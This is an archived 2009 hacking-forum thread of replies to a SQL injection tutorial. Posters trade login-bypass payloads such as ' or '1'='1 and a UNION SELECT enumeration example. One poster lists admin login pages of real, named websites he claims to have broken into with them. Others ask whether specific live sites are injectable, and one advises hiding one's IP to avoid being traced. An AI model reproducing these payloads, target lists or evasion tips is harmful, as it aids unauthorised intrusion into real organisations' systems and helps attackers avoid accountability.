+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: Detailed Basic and Full SQL Injection Tutorial (/showthread.php?tid=50356)
- wanabehaxor - Jul 17, 2009
Ive just tryed my first SQL injection on a forum. I found a vunerable forum and i logged in succesfully using username as ' and password as 'or'1=1'
is that it? or is there anything else i need to do
sorry im extremely nooby lol
- danang - Jul 18, 2009
A very informative tutorial. Thank-you.
- Marco - Jul 21, 2009
How come whenever I enter the code to get the table names it just says "Character_Sets"?
- Braco Asshole - Jul 22, 2009
thank you very nice tut man
- nameless_watermelon - Jul 25, 2009
/poetry.php?poem=1 order by 1 still gives error
And when I try to copypaste it it turns into
/poetry.php?poem=5%20order%20by%201
Is this site vulnerable?
- Don187 - Jul 25, 2009
This realy works like a charm hahahaah lol
http://www.csbt.org.uk/busdirect2/admin_login.asp
username; admin
password; ' or '1'='1
- Don187 - Jul 27, 2009
http://www.litalumnimumbai.com/Admin/Admin_login.asp
admin
' or '1'='1
Lol just hacked this one
http://www.flbaptist.com/assets/asp/admin/AdminLogin.asp
admin
' or '1'='1
lol another one
- C1tron^ - Jul 27, 2009
http://xainnasir.blogspot.com/2009/04/hack-site-uning-sql.html
?
- SeNiOR_MaGMA - Jul 30, 2009
good work
supply us with more
- CyberHacker™ - Aug 1, 2009
uhhh i dont understand the dork thing
- Blacksheep182 - Aug 2, 2009
Code
http://www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"
if you see some numbers like 1 2 3 4 on the screen or the column names
it might not show all numbers on the screen but the numbers displayed are the ones you can replace to extract info from the dbNow what if no numbers appear or column names and the page loads like normal?
- WAR10CK - Aug 3, 2009
Hmmmh. I got the first part, but the 2nd confused me a bit. I'll try it again tomorrow... too late right now. : )
- plitvice - Aug 4, 2009
hello,
i tried to inject site and i get this:
http://www.rakovica.hr/vijesti/news_item.asp?NewsID=190%20order%20by%201--
is it injectable?
- WAR10CK - Aug 4, 2009
I have one question. Can you somehow get caught hacking a website by SQL Injection? Like... can your ISP see that?
- rayven18 - Aug 5, 2009
you can be traced so always hide your IP with a program like tor or hotspot shield or use VPN